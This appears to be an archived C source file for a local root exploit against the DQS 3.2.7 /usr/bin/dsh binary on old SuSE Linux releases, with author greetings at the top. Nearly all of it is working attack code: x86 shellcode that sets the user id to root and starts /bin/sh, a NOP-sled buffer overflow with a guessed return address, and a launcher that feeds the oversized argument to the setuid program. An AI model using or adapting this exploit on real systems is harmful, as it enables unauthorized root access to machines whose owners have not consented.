DQS package v3.2.7 (/usr/bin/dsh) local root exploit. Tested against SuSE 6.3, 6.4, and 7.0.
dc781082f966e7e84fd45bc05a9af244e12da062b9438a7c4ce05fe3639b7a91
/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root exploit. */
/* SuSE 6.3, 6.4, and 7.0 are vunerable. */
/* dex@raza-mexicana.org <> https://www.raza-mexicana.org */
/* Saludos: dr_fdisk^, yield, vlad, deadsector, trovalz, fatal, */
/* megaflop y a todo raza. que weba escribirlos todos XD. */
/* En especial saludos al espa~olete(NOP) :P, ya sabes porque. */
/* */
/* - dex@raza-mexicana.org <> https://www.raza-mexicana.org - */
/********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
static char code[]= /* stolen from mount.c :P */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe3\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv) {
int i;
unsigned long addr;
char *buffer;
int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;
if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);
buffer = (char *)malloc(buffsize + 8);
addr = get_sp() - offset;
for(i = 0; i < buffsize; i += 4) {
*(long *)&buffer[i] = 0x90909090;
}
*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;
memcpy(buffer + buffsize - 8 - strlen(code) - align, code, strlen(code));
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local root exploit.\n");
printf("[*] - dex@raza-mexicana.org <> https://www.raza-mexicana.org - \n");
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Address=0x%x, Align=%d, Offset=%d\n", addr, align, offset);
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Starting....\n");
execl("/usr/bin/dsh", "dsh", buffer, "/etc/motd", NULL);
}